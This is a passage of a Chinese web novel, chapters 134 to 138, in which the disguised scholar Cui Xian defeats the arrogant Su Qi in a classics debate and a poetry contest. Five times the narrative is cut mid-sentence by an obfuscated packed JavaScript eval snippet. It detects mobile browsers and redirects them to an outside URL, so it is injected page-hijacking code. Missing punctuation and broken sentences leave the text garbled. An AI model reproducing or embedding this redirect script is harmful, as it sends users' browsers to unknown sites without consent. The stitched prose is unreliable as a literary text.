毫不夸张的说,这绝对是大梁文坛年轻一代天骄当中,最豪华的一场赌注。 但,苏祈本人却并不在意这些。 事实上他快自闭了。 不是,这大梁文坛年轻一代读书人中,竟然真的有人不知道我苏祈? 老子嚣张十几年,白干了? ? 134、辩经 崔岘确实不认识苏祈。 在南阳潜心五年磨砺、学习他跟外界几乎没有任何‘社交联系’。 就算平时不学习的时候了解外界也是以大梁‘时政新闻’为主。 他表情很坦然——不认识就是不认识何错之有? 而贾邵这副姿态让苏祈脸色更加阴郁。 好好好不认识我是吧? 那这次辩经过后 在众人的注视下。 苏祈冷笑一声:“可以这个辩经赌约我接了!” “来人给这贾邵单独安排一辆马车!接下来从宝丰县到洛阳赏花文会之前我会跟他辩《毛诗序》。” “尔等所有人作见证并将我二人所辩内容一字不落全部记录知道了吗?” “到了洛阳文会将我如何赢下这贾邵的风光过程传唱出去!” “我倒是不信了这大梁文坛的读书人还真有人不认识我苏祈?” 他语气猖狂甚至有点神经质。 似乎对‘有人竟然不认识我’一事非常耿耿于怀。 但诸位读书人都不敢触他的霉头连连称是。 唯有崔岘看向略显暴躁的苏祈微微凝神。 他怀疑此人脑子有病。 这并非骂人而是单纯的字面意思。 只不过现在赌约已成辩论即将开始。 对手脑子有病这种小事暂且就不必理会了。 问题不大。 赢了就行。 这个苏祈看起来还挺有名的。 崔岘开了‘贾邵’这个马甲小号战胜苏祈把小号名气刷爆。 届时去洛阳文会以小号身份当众表示自己会去开封辩经。 如此一来开封辩经绝对会吸引大批量天才前去凑热闹。 这场子想不热起来都难呐! 当崔岘正在心中做计划的时候。 另一边。 一群年轻的读书人们已经着急忙慌开始准备。 他们将一辆十分奢华的马车挪让出来供贾邵乘坐马车里还特地摆放了最精致的糕 点、瓜果。 且神情没有丝毫不满。 因为贾邵方才已经用实力征服了在场所有读书人! 宝丰县驿站外。 在无数年轻读书人钦佩、叹服的注视下贾邵登上那辆奢华的马车。 与他马车并行的 昨日初次加入队伍贾邵名不见经传甚至还被张廷豫等人嫌弃学问水平不足。 短短一日过去。 他便凭借实力成为这群人中除了苏祈师兄最耀眼的存在。 这便是天才应有的待遇啊! 苏祈、贾邵二人各自坐在马车前方互相对视。 而张廷豫和在场数十位年轻读书人们则是拿着纸笔在旁边强势围观神情紧张又振奋。 这场辩论谁会赢呢! “应该是苏祈师兄吧?” 张廷豫在心中暗自嘀咕但目光又没忍住看向贾邵心底滋生出一些连他自己都没察觉到的期待。 万一……贾邵赢了呢? 那他就是亲眼见证了一个超级天才的崛起啊。 还是注定会名动整个大梁文坛那种! 虽然这种可能微乎其微但想想就很是激动。 显然在场其余读书人也是这样想的。 主要是苏祈嘴太脏骂人的时候毫不留情。读书人们钦佩他的才华但却并不发自内心的喜欢他。 在众人的注视下。 苏祈看向贾邵扬眉道:“开始吧。” 崔岘质疑《毛诗序》的真伪。 而苏祈要为《毛诗序》辩护。 因此崔岘先开讲。 《毛诗序》一书是《诗经》的序言也被称作诗序。 正是这本书提出了六义说:风、雅、颂、赋、比、兴。 可见《毛诗序》对诗学传统和诗学精神产生了何等深远的影响。 此书在诗坛地位崇高是真的。 但由于年代久远错漏百出也是真的! 甚至。 从现代穿越而来的崔岘知道连《毛诗序》的‘作者’都是后人杜撰的! 崔岘看向苏祈率先 发难:“《后汉书·儒林传》记载:卫宏作《毛诗序》善得风雅之旨。” “且《汉书·艺文志》未录子夏作序因此可证实《毛诗序》乃伪托明矣!” “你作何解?” 这话的意思便是: 《后汉书·儒林传》明确记载卫宏创作《毛诗序》。 并且《汉书·艺文志》中并未提及子夏作序可见所谓“子夏作序”乃后人伪托。 因为《汉书》成书于东汉初年班固之手其《艺文志》完整记录了西汉、至东汉初年的经学文献。 若子夏确为《毛诗序》作者为何《艺文志》没有任何记载? 这足以证明从西汉、至东汉初年的文坛从未有人觉得子夏和《毛诗序》有关联。 若子夏真的是《毛诗序》的作者。 那么他作为孔圣的徒弟东汉初年学者卫宏又怎敢窃取孔圣弟子的学术成果? 此言一出满场俱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088425|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。 所有人都愣愣看向贾邵集体瞠目。 和犹如晴空霹雳般的震撼冲击! 张廷豫等人脸色都白了。 《毛诗序》作为所有读书人的必学书籍子夏的神作如今却当场被贾邵推翻。 这跟普通的质疑辩经还不一样。 这是直接掀桌子了啊! 如何不让在场的读书人们感到‘天塌了’? 听到这番辩驳的苏祈脸色凝重起来。 他沉思后沉声道:“陆玑《毛诗草木疏》云:子夏传曾申申传李克克传孟仲子仲子传根牟子牟子传荀卿卿传**公。” “师承有序岂容诬圣!” 这便是在用师承脉络给子夏著书作辩驳。 崔岘笑道:“《毛诗草木疏》为三国吴人陆玑所著 苏祈神情微窒。 接着。 崔岘不等他作答继续道:“《隋书·经籍志》直言:《毛诗序》乃子夏所创后汉卫宏润色。” “在我看来润色者伪托之雅称也!” “郑玄笺《诗》引《序》而不言子夏此乃层累造史之铁证!” “故,《毛诗序》绝非子夏之作!” 一番话翻译过来就是:你们从小学的语文课本,从作者开始就是错哒! 哗! 全场哗然。 这谁能绷得住? 张廷豫和一帮读书人们,本来还在兢兢业业,准备记录这场辩经内容。 可这才第一场辩论,就让他们崩溃了。 一个个开始怀疑人生。 原来夫子传授子夏作《毛诗序》,他们曾经寒窗苦读的《毛诗序》,连作者都是假的? 那什么是真的! 你告诉我什么是真的! 这绝对是颠覆在场读书人们人生认知的大震撼! 更震撼的是,苏祈神情变换许久,始终没有再辩驳。 苏师兄输了! 天呐! 那岂不是代表着子夏著《毛诗序》一事,确实是后人伪托? 所有人呆滞又震撼的看向贾邵,惊骇到头皮发麻—— 这场辩经的内容传出去,绝对会轰动整个大梁文坛的! 迎着众人震撼的目光。 崔岘一扬眉,看向苏祈:“承让,我先行五里地!” 他话音落下。 车夫高声道:“驾!” 下一刻。 骏马嘶鸣,载着崔岘,在无数道呆滞目光的注视下,迎着朝阳出发! 他,首战告捷! ? 135、你们为何在原地一动不动? 崔岘乘车走了。 宝丰县驿站外,一片安静。 张廷豫等人仍旧处于震撼当中,但却又保留一丝理智,不敢发出任何声音。 更不敢去看苏祈。 因为苏师兄输了! 更因为贾邵推翻了子夏作《毛诗序》一事! 天呐。 众人简直不敢想,这两件事若是传出去,哪一件更能在大梁文坛引发剧烈轰动! 但毋庸置疑,这两件事,‘贾邵’都是绝对的主角。 信阳府罗山县贾邵,强的骇人! 可这般厉害人物,怎地此前从未听说过? 就跟凭空冒出来一般! 苏祈目送贾邵的马车远去,嘴角紧紧抿起,眼睛里却浮现出亢奋,与强烈的战意。 他已经很久没有遇到这样强劲的对手了! 必须要承认的是,苏祈小觑这大梁文坛了。 比如这位暂时胜过他一头的贾邵。 这人,竟然和他一样,怀疑《毛诗序》真伪,并且给出了清晰的辩经论证。 此事看似不简单,实则一点也不容易。 因为不是所有人,都有勇气,有胆量,有学识,有本事,有魄力,去推翻一本、自己从小就开始学习的圣贤书啊! 见周围读书人都在愣神。 苏祈一扬下巴:“愣着做什么?忘记我说的话了吗?把辩经内容都记录下来! “我确实输了一场,但那又如何?自宝丰驿站,到洛阳赏花文会,这一路还长着呢。 “谁胜谁负,且未可知! 他这话说完。 张廷豫等人赶紧称是,埋头回忆方才崔岘的辩经内容,开始誊抄。 诸位读书人誊抄的时候,手都在发抖! 因为等到了洛阳,这些手稿,一定会让无数读书人,震撼到瞠目—— 不不不。 可不只是震撼。 若是有读书人主修《诗经》,看完崔岘这篇手稿,大概率天都要塌了。 别学了,回家吧! 包括现场的读书人当中,已经有几个年轻的,神情懵懂,似哭非哭。 怎一个惨字了得! 苏祈站在马车前方 而后对一位侍从道:“带上纸笔快马跟上去将贾邵的辩经作记录带回来!” “是!” 侍从领命乘快马出发。 另一边。 崔岘坐在奢华的马车里悠哉享用着瓜果、糕点倚靠在窗边看外面的风景。 神情好不惬意舒适。 别说这还真有点‘说走就走的旅行’那味了! 吃饱喝足后。 车夫按照约定在五里外某处树荫下停车。 一个苏祈家的侍从骑马赶来神情恭敬:“贾公子我家公子让我来记录您的辩经内容请讲。” 说罢。 那侍从取出笔墨纸张和一个随身携带的小方桌作倾听状。 这一刻崔岘竟有些怀念‘手机’。 古代信息交流就是不方便啊! 心中感慨这些有的没的崔岘略作思索笑道:“《论语》云:孔圣评《关雎》乐而不淫从未涉后妃之德。” “今人强附经夫妇成孝敬。岂非削足适履生搬硬套?” 方才第一回合辩经崔岘的切入点是《毛诗序》的作者存伪。 而这一次他选择的切入点是:后人过度**化曲解《毛诗序》。 这番话的意思是说: 《论语》记载孔子评价《关雎》时并未提及后妃之德。 如今人们强行将规范夫妇伦理、成就孝道纲常附会于《毛诗序》实在可笑又牵强。 没错崔岘再次‘掀桌’了! 他不仅以现代人的思维和学识掀古代人的桌。 还左右脑互搏掀了自己的桌! 因为最开始回答‘关雎’问题之时他便是引‘后妃之德’来答得! 但作者存伪尚且是小事。 《毛诗序》被指过度**曲解之说一旦被盖棺定论那么此后大梁文人作八股文都要绕开这一部分了! 这得是多么大的冲击得引发多么恐怖的震荡啊! 不出意外。 侍从将崔岘的辩经内容带回宝丰县驿站当众朗读出来后。 全体读 书人已经不仅是震撼了。 是眼前发黑,脸皮颤抖,瞠目结舌,浑身哆嗦。 兄台,你是否过于生猛了些? 你要修改教科书了吗? 这场辩论以后,我们该不会要重新学习《毛诗序》吧! 太可怕了! 众人齐齐看向苏祈,脸色苍白,眼含乞求。 苏师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088426|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄,你说句话啊! 很显然。 苏祈也被这个犀利的问题给问愣住了,但很快,他脱口而出反驳道:“《礼记·昏义》云:天子理阳道,后治阴德。” “夫妇之道即王化之基,《尚书·尧典》曰克明俊德,正合此义!” 然而此番话说完,苏祈自己便僵硬住了。 因为他这个回答,跟昨日崔岘最初对‘关雎’的回答,是大相径庭的! 礼法大过天。 所以很多时候,一切都可以用‘礼**’来破题。 可这不就正论证了,崔岘提出的质疑吗? 周围一片寂静。 接着,更震撼的一幕来了。 那位侍从,竟然又取出第二张文稿,颤声道:“公子,贾公子说,您肯定会引用他先前说过的回答来破题。” “因为他那番质疑,您只能用礼法来回击。” “他说,不必再让我多跑一趟,直接把接下来的辩论,提前写下来,读给您听。” “贾公子说:季札观周乐评《周南》勤而不怨,未言后妃。《诗本义》斥:汉儒以文王、太姒强解,实乃荒谬!” 这番话的意思是说: 人们将《周南》强行阐释为后妃之德,本质是构建文王受命的思想。 《诗本义》一书,揭示了经学阐释从以诗证史、到以史曲诗的,完全相悖的演变。 这实在太过荒谬! 此番话,无异于一道惊雷,劈的在场诸位读书人呆立当场! 因为这是新的思想火种,在他们面前燃烧起来了啊! 甚至连苏祈,听到这番话,都浑身一震。 他甚至有种顿悟了的感觉! 原来他一直质疑《毛诗序》的地方,可以这样辩驳? 这贾邵,实乃大才啊! 在众人怔怔的注视下,苏祈深吸一口气,涩声道:“告诉贾邵,让他再往前走五里。” 嘶! 向来桀骜不驯,看不起天下读书人的苏祈,连败两场! 正当读书人们集体呆滞的时候。 几位宝丰县驿站的驿卒走出来,疑惑的问道:“苏公子,还有诸位,你们怎么一直在原地,一动未动?” 在场诸位读书人:“……” 苏祈脸色更是猛然一僵:“……” ? 136、二月春风似剪刀(上) 苏祈倒是想往前走。 可实力它不允许啊! 因此没有人回答宝丰县驿卒的询问。 几位驿卒疑惑等了许久始终未等到答复最后只能挠着头回去了。 算了。 他们这么做一定有他们的道理! 现场氛围一度非常尴尬。 张廷豫等人哆嗦着把头使劲低下来努力降低自己的存在感。 生怕被苏师兄迁怒。 但实际上苏祈站在马车前方正在怀疑人生。 辩两次 老子可是苏祈啊怎会如此呢? 从四岁开蒙起到今年17岁他从小就被赞‘神童’如太阳般刺目耀眼。 压得各路同龄天才们喘不过气来。 从诗词歌赋到辩经作八股全能! 这也是他苏祈狂妄的资本。 唯有五年前。 12岁的苏祈在看过崔岘那篇《武王缵太王、王季、文王之绪》的八股文后沉默了许久。 因为他写不出来比这篇文更厉害的文章。 12岁前的苏祈:除了我以外其余人都是垃圾。 12岁后的苏祈:除了我和崔岘以外其余人都是垃圾。 这对一个恃才傲物的狂才来说其实是很难受的。 因为有个同龄人和自己一起站在了云端之上。 他不再是唯一的那个。 而崔岘甚至还比他小三岁! 但让苏祈万万想不到的是。 五年后。 他17岁这年一个此前从未听说过的贾邵突然冒出来轻松赢了自己一头! 苏祈想不通。 难不成老子以后要对外说:除了崔岘、贾邵和我之外其余人都是垃圾? 不行! 云端之上多一个崔岘已经足够拥挤了。 实在挤不下第三个人了! 这样想着苏祈猛然抬起头哑声道:“继续!” 侍从领命骑马而去。 不久后。 他带回来崔岘的第三次辩经内容:“ 《郑风·溱洧》本为情诗,《毛诗序》曲解其为讽刺乱政,此乃以礼杀情!” 这话的意思是说: 《郑风·溱洧》本是描述男女的情诗,但《毛诗序》却强行把它曲解为讽刺乱政。 这是以礼教大义,去扼**性真情! 听闻这段话,张廷豫等人眉头深深拧起来。 但又莫名松了口气。 还好,贾邵终于不再‘掀桌’,一开口就让人眼珠子掉下来了。 但他提出的这个观点,众人同样难以辩驳啊。 苏祈经过慎重思索,回道:“《乐记》云:乱世之音怨以怒。” “《论语》曰:放郑声,远佞人。” “孔圣删诗,正为防患未然!《春秋》笔法严正,岂容儿女私情乱雅颂!” 因为上一个回合,被贾邵辩驳到哑口无言。 这次苏祈吸取教训。 直接上升高度,把孔孟拉出来。以圣人删诗,和《春秋》的经典阐释,将情诗与**关联起来。 他这番辩驳,让张廷豫等人目露惊艳。 苏师兄大才啊! 不出意外。 侍从很快带回消息:“公子,贾公子说,这一局,您胜!” 哇! 这话,让在场读书人们都狠狠松了口气,赶紧开启夸夸模式。 “苏师兄果然厉害!” “我等受教了。” “咱们快往前走五里地吧,宝丰县那些驿卒,一直在看着咱们呢,怪尴尬的。” 但,苏祈却一点都高兴不起来。 这不是他想要的结果! 他要的是稳稳胜利,碾压性的赢啊! 输两场,赢一场,有什么好庆贺的? 以前,这群读书人夸赞自己,苏祈坦然受之。 可今日不知怎地,他越听越难受。 就好似老子打败贾邵一场,是个多么不容易、多么值得夸赞的事情一般! 这样想着,苏祈沉着脸翻身上马,朝着前方疾驰。 张廷豫等读书人纷纷跟上。 宝丰县驿站。 驿卒们瞧见这一幕,齐齐松了口气:“哎哟,终于走了!也 不知这群读书人,今日是抽什么疯咯!” 但。 苏祈骑马走了五里地后,却并未停歇,继续前行。 众人傻了:难道苏师兄这是输不起,要毁约? 应该不至于吧! 另一边。 先行十里地的崔岘,路过一片湖泊。 春日风光正好,湖水清澈,岸边柳树随风摇曳,景色霎是好看。 于是他下了马车,站在湖边欣赏风景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088427|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方才那一局,他确实输了。 就像他可以用现代思维,来‘掀桌’古代人。 苏祈也可以用古代经学道统,和圣贤权威,来简单粗暴压制他的‘人性论’。 崔岘并非输给苏祈。 而是输给了‘经学话语霸权’。 正当崔岘思索着,以后再遇到这种情况,该如何破局的时候。 马蹄声由远及近传来。 苏祈一马当先,张廷豫等人乘坐的车辆紧紧跟随。 一大群人乌泱乌泱赶到。 读书人们神情紧绷,看向苏祈,生怕他因为输不起,翻脸骂人,或者要跟贾邵‘武斗’。 连崔岘都看向来势汹汹的苏祈,眯起眼睛。 然而下一刻。 便见苏祈扬起头颅,满脸桀骜:“方才这场辩经,暂时是我输了。但,我不服!” “你放心,我待会儿自会返回去,落后你五里地。” “只是现在,我要同你再开一场比试赌局!” 啊? 听到这话,本来还担心二人会打起来的读书人们愣住了。 还要继续赌啊! 崔岘也有些惊讶,问道:“你要比什么?” 苏祈道:“比作诗,如何?” “……” 哥们儿,要不你换一个来比呢? 看着满脸战意的苏祈,崔岘委婉拒绝道:“胜败乃兵家常事,你已经很厉害了。” 但他越是这么说,苏祈莫名就越生气。 我已经很厉害了,但却输给了你。 那你是在拉着我,夸你自己呢? 不带这么羞辱人的! 但辩经我输了,不代表作诗我也会输啊! 是时候,让你看看我苏祈的实力了! 因此苏祈深吸一口气,说道:“就来比作诗,以眼前的景色作诗!” “若是你输了,到了洛阳文会,你要当众喊出:苏祈,算你作诗厉害!” “如何?” 听闻这话,张廷豫等读书人们顿时激动到眼冒星光。 天呐! 他们不仅亲自见证了两个超级天才辩经! 还要见证两个超级天才斗诗! 这种场面,想想就超振奋啊! 苏祈的天资实力,和他的脾气一样强,写诗自然是信手拈来。 但贾邵呢,他能写诗吗? ? 137、二月春风似剪刀(下) 崔岘曾经答应过老师,五年不得作诗。 现在算算时间,五年已经过了。 但他其实并不太想同苏祈斗诗,因此再次委婉拒绝道:“要不……算了吧?” 算了个屁! 不能算了! 苏祈自然不答应,故意嘲讽道:“怎么,你是不会作诗,还是不敢作诗?” 崔岘缓缓收起脸上的笑容。 虽然大概知道此人在用激将法。 可说实话,这副嚣张姿态,真的很欠扁啊。 因此。 在张廷豫等读书人们激动的注视下。 便见贾邵看向苏祈,尽显少年郎的肆意洒脱:“那便赌吧,待会儿输了,可别怪我欺负你。” 哗! 此话,让全场读书人哗然。 这得是多自信,或者说多猖狂,才能说出这番话啊! 要知道,他的对手,可是苏祈! 苏祈也被这番话给气笑了。 行,头一次见到比我还猖狂的人。 他盯着贾邵,咬牙道:“再增加一个限定条件,你我就站在这湖边,不得用纸笔,口述作诗!” “让他们作记录!” 崔岘神情古怪,点头:“依你便是。” 见崔岘答应的如此干净利落。 苏祈难免有些惊讶,而后向前走几步,站在湖水畔道:“既然如此,我先来!” 说罢,他驻足在原地开始打腹稿,眼睛盯着周围的景色做沉思状。 张廷豫等人,则是激动取出纸笔,分作两拨人。 一拨人负责记录苏祈。 一拨人负责记录崔岘。 还有几位擅长作画的,当场绘画,准备将这场湖畔二才子斗诗名场面,画下来。 等到了洛阳,这必是一场轰动全城的谈资佳话啊! 这个不知名的小湖,水质清澈。 有风吹来,湖边的柳树摇曳,水面泛起波纹。 远处,还有一只小舟在垂下的柳叶枝条里若隐若现。 苏祈站在湖畔,一双眼睛在这些景色上来回巡视。 众**气都不敢喘一下,生怕打扰到他的创 作思路。 约莫一盏茶功夫后。 便见苏祈回头看向崔岘 真是简单粗暴的名字! 很符合此人的嚣张作风。 崔岘伸出手作倾听状:“请。” 请开始你注定会失败的表演! 强势围观的读书人们也都期待看向苏祈拿着笔的手微微颤抖。 迎着众人的目光苏祈吟诵出第一句:“青丝落春湖!” 这个起始句相对比较平。 但很多时候诗句一开始都很难骤然起势。 因此读书人们赶紧记录并期待苏祈后面的诗句内容。 苏祈不负众望接着道:“小舟垂柳出!” “好!” “好一个小舟垂柳出啊!” 张廷豫等人眼睛齐齐亮起来忍不住大声叫好。 这一句还是很妙的。 有风吹来被固定在河畔水边的小舟其实没动。 但垂下来的万千柳枝被风吹着后退让小舟显露出身形并且看起来像是从垂柳当中行驶出来那般。 这画面当真鲜活又灵动。 众人的叫好声让苏祈心情格外舒畅。 他看向贾邵以挑衅般的姿态将后面两句念出来:“日照金粼跃风梳翠幕浮!” 河畔静默了片刻。 而后是读书人们越发振奋、激动的叫好声。 青丝落春湖小舟垂柳出。 日照金粼跃风梳翠幕浮。 苏祈模样不差如今站在水边当场作诗。 这副才子姿态实在令人心折! 当然如果这才子是个哑巴就更好了。 苏祈作完诗后看向崔岘嗤笑道:“到你了。若是自觉作的没有我的好直接认输也是可以的不必念出来污人耳朵。” 众人汗颜。 但不得不说苏祈此人的确是有才的。 因此大家都齐齐看向贾邵有人目露怀疑有人目露期待。 而后。 便见贾邵 并不理会苏祈的攻击,从容不迫答道:“我这首诗,叫做《咏柳》。” 其余人没有异议。 唯有苏祈脸色瞬间拉了下来,沉声道:“为何不带我的名字?” 他方才作的那首诗,都带了贾邵的名字! 崔岘闻言,脸上浮现出灿烂笑意:“因为我这首诗,很有实力。” “若是带了你的名字,岂非是让你占便宜?” 哗! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088428|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也太自信,太嚣张了吧! 张廷豫等人听得直咂舌。 苏祈:? 他正欲开口反击。 风乍起。 河畔柳树齐齐摇曳。 伫立在水边身姿挺拔的崔岘回头,长衫随风舞动。他站在风里,眉目俊朗灿若星辰,也融进了画里。 “碧玉妆成一树高!” 听到这个起始句,众人浑身一震。 连已经半开口的苏祈,都就此僵硬住身形,怔愣看向贾邵。 赋物人妙,语义温柔。 这得是多么妙的思路,才能想到,将‘妆’字赋予在柳树上啊! 就这么简单第一句,竟然把柳树,直接给写活了! 甚至把春天写活了! 柳树的翠绿,裹挟着春日的蓬勃生机,清新脱俗,袅袅扑面而来。 崔岘略作停顿,继续道:“万条垂下绿丝绦!” 河畔一片安静。 唯有读书人们惊艳,震撼的眼神,齐齐将崔岘锁定。 这是把万千柳丝,比作美人的裙摆,轻盈飘逸,如丝如绦。 太精彩了! 不要停啊! “不知细叶谁裁出!” 听到这里。 张廷豫脸色涨红。 在作画的几位读书人,齐刷刷抬头看向崔岘。 一群本该记录诗句的人,怔怔捏着笔,不自觉攥紧手指。 就连苏祈都死死地盯着崔岘。 该收尾了。 这要如何落笔? 听起来很难。 但不知为何,所有人都莫名开始心跳加速。 他们,要亲眼见证一首名诗的诞生了吗? 迎着众人的打量。 崔岘粲然一笑,于春日风中一甩袖袍,回头看着苏祈,一字一顿道:“二、月、春、风——” “似,剪、刀!” 轰! 这最后一句,宛如一声春雷,炸的在场读书人们心潮澎湃、头皮发麻。 原来,诗句还可以这样写? 二月春风似剪刀! 今日过后。 这春日的和风,有了形状! 而苏祈本人,更是一副见了鬼的表情,神情呆滞的看着贾邵。 他要自闭了。 ? 138、小黑粉见面会 湖畔边。 所有人都呆愣愣看着贾邵被震撼到失声。 本以为苏祈师兄作的那首诗已经足够惊艳。 可贾邵这首‘二月春风似剪刀’一出直接杀**比赛。 无敌了! 这首《咏柳》必定会成为写柳诗中的经典! 在场诸位读书人虽然写不出来这种质量堪称神作的名诗。 但他们最基本的鉴赏能力还是有的。 更传奇的是! 贾邵他就那般云淡风轻的站在湖边—— 随口一吟诵便作出一首锦绣诗篇。 这是何等的才华横溢满腹经纶啊! 亲眼见证一首名诗在自己面前诞生这种冲击力这种震撼力简直令人目眩神迷。 而作诗的贾邵身姿挺拔站在风里耀眼的好似在发光。 在众人眼里那是‘偶像光环’啊! 张廷豫奋笔疾书 “等到了洛阳我等一定要将贾邵兄这首诗给传颂出去!” 周围的读书人们激动齐齐点头。 他们看着贾邵的目光尽是崇拜与热切。 若非场合不对甚至有人想去找贾邵‘签个名’。 至于为什么按耐住找‘偶像’签名的冲动了呢? 当然是因为苏祈师兄还臭着一张脸站在这里! 显然苏祈自闭了。 他盯着贾邵神情似哭非哭整个人都有种‘既生邵何生祈’的破碎感。 辩经输了。 斗诗也输了! 这……合理吗? 眼看苏祈表情不对众人绷紧神经生怕他发怒骂人。 而不出意外苏祈果然骂人了。 他脸色极为难堪和平时嘴巴一样臭:“废物你个废物!” “书都读狗身上了不你连狗都不如啊!” 听到这话众人齐齐蹙眉。 张廷豫甚至面露不忿正欲站出来替自己的‘新偶像’贾邵挡住这些污言秽语。 但下一刻。 便听苏祈继续怒骂道:“猖狂得意了17年,你真以为自己没有对手了?辩经输了,作诗也输了,你有什么资格嚣张?” “苏祈,废物,狗都不如的废物啊!” 四周围一片安静。 众人瞠目:? 不是,这对吗? 连崔岘都一副懵逼的表情,看向苏祈。 好家伙,兄弟你是个人物啊。 狠起来连自己都骂。 苏祈,一个恃才傲物的真·狂才。 他不针对谁,只是平等的蔑视世间每一个废物。 ……包括他自己! 眼看苏祈骂自己骂的越来越狠。 崔岘有些于心不忍,安慰道:“别骂了,其实你已经很厉害了,真的。” 毕竟你的对手,是吴中四士、饮中八仙、唐草三杰——贺知章啊。 苏祈并不理会崔岘。 他把自己恶狠狠骂了一顿,然后心情好多了。 果然,骂废物就是会令人心情愉悦。 废物都该死哈哈! “我输了!” 骂完自己后,苏祈干脆利落看向贾邵,先是承认自己输了。 而后道:“我会返回五里……不,加上斗诗输了,我返回十里,在宝丰县驿待着。” “辩经一事,我既没有做到干脆利落赢你,也算我输!” “你且先去洛阳,文会开始之前,遣人来通知我一声。我到了文会,自会履行赌约,在文会上当众喊出我不如你!” 崔岘惊讶于此人的洒脱。 还未作答。 便见苏祈又从怀里掏出一封请柬,递过来:“这个,你拿着。” 崔岘接过请柬,看着那黝黑的封皮,和扉页血红的‘反岘同盟’四个大字,眉头一跳。 什么鬼东西? 苏祈骂完了自己,心情好了。 所以又恢复往日桀骜不驯的模样,扬起下巴不屑道:“是一群看不上崔岘的废物,计划在孟津县、黄河畔鸿雁楼缔结盟约。而后先去洛阳文会出风头,再集结各路天骄,一起去开封教训崔岘。” “我此行,一是为接上沿路的读书人。二是为去孟津 县解决这帮不自量力的废物最后再去洛阳。” “但现在我只能返回宝丰县驿站去孟津县一事就交给你了。” “我家侍从会驾马车带你过去。” 说完后。 苏祈一转身利落翻身上马往回疾驰。 他的背影依旧孤傲但却无人看到这位猖狂少年转身的刹那眼睛里的没落。 而张廷豫等人在纠结过后纷纷选择跟着苏祈回去。 但离开之前。 诸位读书人脸上带着钦佩认真与贾邵拱手道别。 “贾邵兄洛阳文会见!” “你一定会在洛阳文会名动天下的!” “贾邵兄之才情 短暂萍水相逢一场。 贾邵用他的真才实学征服了在场所有年轻读书人! 如此耀眼的天才少年郎名动天下只是时间问题。 听到这些真挚祝福崔岘笑着拱手:“诸位我们洛阳文会见。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088429|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 张廷豫坐上马车。 启程之前他挑开车窗帘看着站在湖边的贾邵。 沉默良久后喃喃道:“是我有眼不识真才子了。想来以贾邵兄惊才绝艳的学识确实有资格看不上崔师兄。毕竟天才总是自负的。” 马车里的读书人们罕见没有反驳。 毕竟连苏师兄都被贾邵给压了一头! 回想这短短一两日的经历实在梦幻。 但所有人都坚信—— 洛阳文会过后贾邵这个名字一定会名动大梁! 不久后。 宝丰县驿卒听到外面有大量马蹄声传来赶紧出门接待。 结果一出去他们愣住了。 几位驿卒差点以为自己眼花了使劲揉了揉眼纳闷道:“苏公子诸位你们不是走了吗?怎地又回来啦?” “是不想去参加洛阳赏花文会了吗?” 众人:“……” 苏祈:“……” 另一边。 崔岘拿着那张‘反岘同盟’的请柬神情古怪极了。 说起来也是有趣。 他沉寂五年,走出南阳,随便遇见一个老农,对方都能吟出一句‘粒粒皆辛苦’。 接着又遇见张廷豫等一帮‘粉丝’。 现在更离谱,要去参加‘黑粉见面会’了。 还真就,哥不在江湖,但江湖一直都有哥的传说呗? 五日后。 孟津县。 黄河畔,鸿雁楼。 远处宽阔的黄河水波涛汹涌,滚滚流逝,楼上河风猎猎作响,嘶鸣声震天。 